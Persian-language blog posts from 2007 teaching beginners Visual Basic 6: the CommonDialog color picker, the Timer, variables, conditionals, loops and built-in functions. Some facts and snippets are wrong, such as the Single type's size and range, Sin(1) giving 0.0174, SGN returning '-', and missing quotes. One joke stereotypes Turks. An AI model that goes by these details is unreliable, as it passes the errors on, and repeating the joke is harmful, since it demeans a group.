ابتدا یک کنترل جعبه گفتگو با نام CommonDialog1 روی فرم خود قرار دهید. یک دکمه فرمان به نام Command1 روی فرم خود قرار دهید روی دکمه فرمان خود دوبار کلیک کنید تا پنجره کد باز شود. سپس کدهای زیر را در روال رویداد Command1_Click بنویسید.

Private Sub Command1_Click

CommonDialog1.ShowColor

Form1.BackColor = CommonDialog1.Color

End Sub

تحلیل کد برنامه: در خط دوم ما گفتیم که کنترل جعبه گفتگو  گفتگوی رنگ را باز کند.در خط سوم نیز گفتیم که رنگ پس زمینه فرم را برابر رنگ انتخابی جعبه گفتگوی رنگ کند.

 

در درس های بعد بیشتر با کنترل اسرار آمیز جعبه گفتگو آشنا میشویم.

 

عکسها از وبلاگ رفیقم:   آموزش ویژوال بیسیک 6


کنترل تایمر به شما این امکان را میدهد که از ساعت داخل PC استفاده کنید.کنترل تایمر نیز یکی از مهمترین کنترل های مورد استفاده در برنامه های گوناگون اهم از مقدماتی و پیشرفته است.ساعت کامپیوتر در هر ثانیه ۱۸ رویداد تایمر تولید می کند. برای روال رویداد تایمر نیز میتوان کد نوشت.

تایمر کنترلی است که به مقدار فاصله زمانی که شما میخواهید یک کار را(که همان کدی است که داخل روال رویداد تایمر نوشته میشود)تکرار میکند.

مهمترین خاصیت کنترل تایمر Interval است که فاصله زمانی رویدادهای تایمر را مشخص میکند و بر حسب میلی ثانیه است.(هر ۱۰۰۰ میلی ثانیه یک ثانیه است.)

برنامه نویسان از کنترل تایمر برای نوشتن برنامه های پس زمینه و انیمیشن استفاده میکنند.برای استفاده از کنترل تایمر باید روی آن کنترل که شکل آن مانند یک ساعت رو میزی است دوبار کلیک کرد. کنترل تایمر هنگام اجرای برنامه نامریی میشود بنابراین مکان آن روی فرم زیاد مهم نیست.

برای اینکه شما با کنترل تایمر بیشتر آشنا شوید از یک نمونه برنامه استفاده میکنیم.

نمونه برنامه ۲:

ابتدا یک پروژه استاندارد بازکنید سپس روی فرم خود  ۱ عدد کنترل تایمر بگذارید وبعد از آن نیز یک تکست بوکس (TextBox) روی فرم قرار دهیدو کدهای زیر را در پنجره کد (ViewCode) بنویسید.

()Private Sub Form1_Load

Text1.Text = "0

Timer1.Interval = 1000

End sub

Private sub Timer1_Timer

Text1.Text = Time

end sub

تحلیل کد برنامه: در خط دوم در روال رویداد لود فرم گفته شد که مقدار Text1 را برابر ۰ کند سپس در خط بعدی خاصیت Interval تایمر بابر با ۱۰۰۰ که معادل یک ثانیه میشود شد. در خط ششم نیز مقدار تکست باکس ما در هر ثانیه تغییر میکند و برابر با ساعت جاری سیستم میشود.


جلسه سوم هم به پایان رسید و کسی به من بیچاره هیچ نظری نداد آقا اگه فحش هم داری بده فقط نظر بده .

امروز براتون یه سایت خوب رو معرفی میکنم که کار اون هم آموزش برنامه نویسی به زبان های گوناگون هست . شاید بعضی ها این سایت رو بشناسند ولی قطعآ بعضی دیگه نمیشناسن. اگه از من میشنوین یه سر به این سایت بزنین و سعی کنین که عضو سایت بشین.

سایت ایران ویج آموزش برنامه نویسی به زبان های مختلف


 |+| نوشته شده در  دوشنبه سی و یکم اردیبهشت 1386ساعت 12:9  توسط علی  | 

با سلام به تمام بروبچ ایران

امروز جلسه اول آموزش رو شروع می کنیم.

آموزش من برای افرادیه که حداقل از محیط ویژوال بیسیک وکار با منو های اون سردر میارن و میتونن برنامه هایی در حد یک ماشین حساب ساده رو بسازن.(البته اگر از محیط ویژوال هم سردر بیارن کافیه)

امروز درباره : ۱-متغیر ها و کار با آن ها و ثابت ها و کار با آن ها . ۲- دستورات شرطی در ویژوال بیسیک. ۳- حلقه های تکرار و کار با آنها و اهمیت آنها در برنامه و در آخر نیز ۴- تعدادی از توابع داخلی ویژوال بیسیک  صحبت هایی می کنیم و برای کسایی که بلد نیستن به -آموزش میزاریم-

۱- متغیرها و ثابت ها

تعریف متغیر: متغیر مکانی در حافظه است که می تواند مقادیر مختلفی را بگیرد.

برای تعریف متغیر از دستور Dim استفاده میکنیم. متغیر ها دارای انواع مختلفی هستند که برای مثال میتوانیم به متغیر رشته ای عددی بولن و غیره اشاره کنیم که در پایین لیست انواع متغیر ها در ویژوال بیسیک آورده شده است.

  نوع متغیر                                مقدار حافظه                                        محدوده اعداد

بایت(Byte)                                  یک بایت                                             ۰ تا ۲۵۵

عددصحیح(Integer)                       دو بایت                                          ۳۲۷۶۷ تا ۳۲۷۶۷-

عددصحیح بلند(Long)                   چهار بایت                               ۲۱۴۷۴۸۳۶۴۷ تا ۲۱۴۷۴۸۳۶۴۷-

اعداد اعشاری(Single)                 هشت بایت                       ۹۲۲۳۳۷۲۰۳۶۸۵۴۷۷.۵۸۰۵ تا منفی آن

رشته ای(String)                  به مقدار طول رشته(بی نهایت)                          ---------

تاریخ(Date)                               هشت بایت                                              ---------

منطقی(Boolean)                         دو بایت                                                 ---------

 

مثال۱ :متغیری از نوع عدد صحیح با نام Ali تعریف کنید.

Dim Ali as Integer

در خط بالا Dim کلمه کلیدی تعریف متغیر و Ali نام متغیر و Integer نوع متغیر را نشان میدهد. توجه داشته باشید برای تعیین نوع متغیر باید حتما از As استفاده کنید.

تعریف ثابت: ثابت ها نیز مانند متغیر ها مکانی در حافظه هستند که مقادیری در آنها قرار میگیرد اما دیگر مقدار آنها تغییر نمیکند و همیشه ثابت است.

برای تعریف ثابت از کلمه Const استفاده میکنیم . (ثابت ها در برنامه نویسی بسیار مهم هستند.)

Const Ali = 123456789   که در این جمله کلمه Const تعیین کننده ثابت است و Ali نام ثابت و ۱۲۳۴۵۶۷۸۹ مقدار ثابت است.

---------------------------------------------------------------------------------------------------------->>

۲- دستورات شرطی در ویژوال بیسیک

اسم شرط با خودشه و همون طور که از اسمش معلومه باعث محدودیت های میشود. مثلا ما به کمک آنها میتوانیم دیکشنری های قدرتمند و پر سرعت بسازیم یا برای برنامه خود پسورد و یوزر قرار بدیم و خیلی کارهای دیگه که در این مقاله نمیگنجه.

انواع دستورات شرطی عبارتند از :

If ...............end if  ,      If ..............Else ................. end if     , Select Case  .............End Select

, غیره که اینهایی را که نام برده شد پرکاربرد ترین و مهمترین آنها هستند.

الف- IF ....End IF :

دستور شرطی If ... End if  که شکل کلی آن به صورت زیر است:

 then  شرط  If

دستور یا دستورات

End If

مثال۱ :

 if Ali = 123456789 then

Ali = 0

end if

در این مثال هر وقت مقدار متغیر Ali برابر با ۱۲۳۴۵۶۷۸۹ شد متغیر را برار ۰ کند.

ب - If ... Else ... End If :

این نوع دستور شرطی همانند دستور شرطی الف است فقط با این تفاوت که با  نوشتن کلمه Else (به معنی در غیر این صورت ) ما میتوانیم در صورت تحقق نیافتن شرطمان کار دیگری انجام دهیم.

شکل کلی دستور:

Then شرط If

دستور یا دستورات

Else

دستور یا دستورات

End If

مثال۲ -

If Ali = 123456789 then

Ali = 0

Else

Ali = 10

End if

که در مثال بالا ما میگوییم که اگر متغیر Ali برابر ۱۲۳۴۵۶۷۸۹ شد متغیر را برار ۰ قرار دهد و در غیر این صورت ( هر وقت متغیر Ali برابر ۱۲۳۴۵۶۷۸۹ نشد) مقدار متغیر را برابر ۱۰ کند.

امیدوارم با توضیحات نه چندان خوب من تا اینجا خوب پیش رفته باشید. راستی یه جوک یادم اومد:

یه روز یه ترکه میره ماه عسل زنشو یادش میره با خودش ببره.

ج- دستور شرطی Select Case ... End Select

در این نوع دستور شرطی ما یک یا دوتا شرط قرار نمیدیم بلکه میتوانیم بی نهایت شرط قرار بدیم و برای برنامه خود محدودیت های بیشتری قرار بدیم. شکل کلی دستور شرطی (ج) در زیر آمده است.

 

متغیر مورد نظر که شرط روی آن صورت میگیرد  Select Case

مقدار متغیر  Case

دستور یا دستورات

...

End Select

که در دستور بالا Select Case کلمه کلیدی شرط است .

۰ متغیر مورد نظر که شرط روی آن اعمال میشود : این عبارت میتواند یک عبارت عددی یا متنی باشد.

۰ مقدار متغیر : مقداری است که اگر متغیر دارای آن شود دستورات زیرش اجرا میشود.

۰ دستور یا دستورات : تمامی اعمالی که شما میخواهید برنامه انجام دهد.

 

شاید درک این نوع دستور شرطی برای کسانی که مبتدی هستند مشکل باشد ولی با یک نمونه برنامه ومثال سعی میکنم به بهترین روش آموزش بدم.

 

مثال ۱ :

Dim Ali as String

Select Case Ali

Case Hello

"سلام" MsgBox

Case Welcome

"خوش آمدید" MsgBox

Case Air

"هوا" MsgBox

End Select

 

تحلیل کد برنامه : در مثال ۱ ابتدا ما یک متغیر رشته ای به نام (Ali) تعریف کردیم. در خط بعد شرط خود را اعمال کردیم بر روی متغیر (Ali) یعنی اینکه هر گاه مقدار متغیر ما برابر با چیزی که ما پیش بینی کرده ایم شود دستورات ما باید اجرا شوند. در خط سوم گفتیم که هر وقت مقدار متغیر Ali برابر Hello شد برنامه برای کاربر پیغامی نمایش دهد که پیغام آن "سلام" (معنی کلمه Hello) باشد. و بعد از آن هم به همین صورت دو مقدار دیگر برای متغیر پیش بینی کردیم و معنی آنها را نیز برای کاربر پیش بینی کردیم.(مانند یک دیکشنری انگلیسی به فارسی ساده.)

ممکن است کسانی که مقدماتی هستند از "MsgBox" چیزی دستگیرشان نشود ولی کلمه "MsgBox" مخفف کلمه "Message Box" است که معنی آن جعبه پیام میشود. در جلسات بعدی برای مقدماتی ها در باره جعبه پیام ها بیشتر صحبت میکنیم.

 

----------------------------------------------------------------------------------------->>

 

۳ - حلقه های تکرار :

حلقه های تکرار در ویژوال بیسیک بسیار مهم هستند و باعث میشوند علاوه بر نوشتن برنامه های حرفه ای و قدرتمند تعداد خطوطی که ما میخواهیم به عنوان کد برنامه بنویسیم به مقدار چشم گیری کاهش پیدا کند و در نوشتن برنامه وقت کمتری صرف شود.

ما در این بخش تعدادی از حلقه های تکرار (که از همه پر کاربرد تر و مهمتر هستند ) را معرفی میکنیم.

انواع حلقه های تکرار عبارتند از : For ... Next , Do ....Loop , while ... Wend

که مهمترین آنها حلقه For ... Next است.

 

الف- حلقه For ... Next

با استفاده از این حلقه ما میتوانیم تعدادی از دستورات را به تعداد مشخص تکرار کنیم مزیت این حلقه این است که ما میدانیم دستوراتمان چند بار باید تکرار شوند . حلقه For مانند یک کنتور عمل میکند و تعداد دفعاتی که دستورات داخل حلقه اجرا میشود را می شمارد.

شکل کلی حلقه For به صورت زیر است :

 

عدد انتها To عدد شروع = متغیر شمارنده For

دستور یا دستورات

[متغیر شمارنده] Next

 

۰ متغیر شمارنده : یک نوع متغیر عددی (Integer Or Long Or ..) است که تعداد شمارش را در خود نگه میدارد.

۰ عدد شروع و عدد انتها : عدد هایی هستند که نشان میدهند حلقه ما از چه عددی شروع به چرخش کند تا به یک عدد که عدد انتها است برسد.(مثلا:  For X = 1 To 100 که متغیر X از یک شروع به شماره اندازی میکند تا صد.)

۰ دستور یا دستورات : دستوراتی هستند که در طی حلقه به مقدار عدد ابتدا تا حدد انتها اجرا میشوند.

 

نمونه برنامه ۱ :  در این قسمت من برای شما پروژه عملی را مینویسم تا مطالب را بهتر درک کنید.

برنامه ویژوال بیسیک را باز کنید و در پنجره New Project  کلید اینتر را فشار دهید (یا Open را بزنید).

یک Text Box و یک Command Button بر روی فرم خود قرار دهید و آنها را به سلیقه خودتان روی فرم مرتب کنید.

روی Command1 که خودتان روی فرم قرار داده اید ۲ بار کلیک کنید تا پنجره کد(پنجره VeiwCode) باز شود. بعد زیر () Sub Command1_Click جملات پایین را بنویسید.

Dim I as integer

For I = 1 to 100

Text1.Text=Text1.Text + str(i)

Next

 

تحلیل کد برنامه:  در خط اول ابتدا متغیری به نام "I" را از نوع عدد صحیح تعریف کردیم. در خط دوم حلقه خود را بر اساس متغیر I شروع کردیم و گفتیم که دستورات ما باید ۱۰۰ با اجرا شود ( از ۰ تا ۱۰۰). در خط سوم با نوشتن دستورات گفتیم که برنامه برای ما اعداد بین ۰ تا ۱۰۰ را برای ما نمایش دهد (در TextBox نمایش داده شود.) و در خط آخر نیز حلقه خود را به اتمام رساندیم.

 

ب- حلقه Do ... Loop

این حلقه نیز یکی از حلقه های مهم ویژوال بیسیک است و مانند حلقه For ... Next عمل میکند با این تفاوت که تعداد دفعات اجرایی دستورات معلوم نیست و با توجه به یک شرط که اگر True باشد دستورات را تکرار میکند و اگر False باشد می ایستد و دیگر دستورات را تکرار نمیکند.

 

شکل کلی حلقه Do ... Loop به صورت زیر است:

 

شرط Do

جملات

[Exit Do]

جملات

Loop

 

فعلا این دو حلقه برای برنامه های ما کافی هستند و نیاز ما را برطرف میکنند پس ما به مسایل مهمتر میپردازیم.

 

----------------------------------------------------------------------------------------------------------->>

 

۴ - توابع داخلی ویژوال بیسیک:

 

در ویژوال بیسیک تابع هایی وجود دارد که  نیازهای شمارا به مقدار قابل توجهی برطرف میکند.

توابع در ویژوال بیسیک انواع مختلف دارد که ما در این بخش به مطالعه توابع کار با اعداد و توابع محاسباتی و  توابع کار با رشته ها و توابع تاریخ و زمان می پردازیم.

 

الف- توابع محاسباتی:

 ۱ - تابع قدر مطلق که ساختار تابع به صورت زیر است.

(مقدار عددی) ABS

مثال: در دستور زیر مقدار ۱ برگردانده میشود.     

(۱-) ABS

 

۲- تابع سینوس که ساختار آن به صورت زیر است.

(مقدار عددی) Sin

مثال: مقدار برگشتی دستور زیر برابر ۰۱۷۴/ ۰ میشود.

(۱) Sin

 

۳- تابع کسینوس که ساختار آن به صورت زیر است.

(مقدارعددی) Cos

مثال : مقدار برگشتی تابع زیر برابر ۹۹۹/ ۰ است.

(۱) Cos

 

۴- تابع جذر که شکل کلی آن به صورت زیر است.

(مقدار عددی) SQR

مثال : مقدار برگشتی تابع زیر برابر ۳ میشود.

(۹) SQR

 

۵- تابع علامت. این تابع علامت یک عدد را برمیگرداند که ساختار آن به صورت زیر است.

(مقدار عددی) SGN

مثال : مقدار برگشتی تابع زیر برابر "-" است.

(۶-) SGN

 

۶- تابع فیکس. این تابع اعداد بعد از اعشار یک عدد را قطع میکند و به قول خودمون رندش میکنه.

(عدد) Fix

مثال: مقدار برگشتی تابع زیر برابر ۲۰ است.

(۲۰.۱۵۴) Fix

 

در ویژوال بیسیک توابع محاسباتی بسیار زیادی وجود دارد که بعدآ لیستی از ۱۰۰ تا ۲۰۰ تا از آنها را برای شما دوستان میزارم.

 

ب- توابع کار با رشته ها:

رشته ها ثابت یا متغیر هایی هستند که حروف الفبا در آنها ذخیره میشود.

 

۱- تابع تبدیل عدد به رشته. این تابع یک عدد را میگیرد و آن را به رشته تبدیل میکند. ساختارآن به صورت

(عدد) STR

نکته: اگر شما بخواهید یک عدد را به یک رشته متصل کنید باید حتما آن عدد را به رشته تبدیل کنید وگر نه کامپایلر برنامه به شما خطا میدهد. بنابراین تابع "STR" یکی از توابع مهم ویژوال بیسیک است.

 

۲- تابع Space . این تابع همان طور که از نامش معلومه به مقدار مورد نظر برای ما بین رشته ها جای خالی قرار میدهد که ساختار آن به صورت زیر است.

(تعداد جاخالی که میخواهد گذاشته شود) Space

مثال: مقدار برگشتی در این مثال برابر   Ali     123  است.(به فضای بین علی و ۱۲۳ توجه کنید.)

X = Ali

Y = 123

Z = X + Space(5) + Y

 

۳- تابع UCase. این تابه حروف یک رشته را به صورت حروف بزرگ برمی گرداند و ساختار آن به این صورت است:

(هر رشته ای که دلت میخواد) UCase

مثال: مقدار برگشتی تابع زیر برابر "MASOUD" است.

UCase("masoud") 'Horof Bozorg Mishavand

 

توجه: جملات سبز رنگ را نخونید سنگین تر هستید.

 

۴- تابع Lcase . این تابع دقیقآ برعکس تابع Ucase است.

 

توابع رشته ای بسیار زیادی وجود دارد که ما فقط به تعداد کمی از آنها اشاره کردیم بلکه هدف ما از این کار سرکار گذاشتن شما بود.

 

شوخی کردم بابا در این مطلب نمیگنجه.

امیدوارم بتونی با یه نظر خشک و خالی یه حالی به ما بدی.

قربون همتون تا جلسه دوم بای سیکل.

 

 |+| نوشته شده در  یکشنبه سی ام اردیبهشت 1386ساعت 13:33  توسط علی  | 
 
  بالا  

Free Counter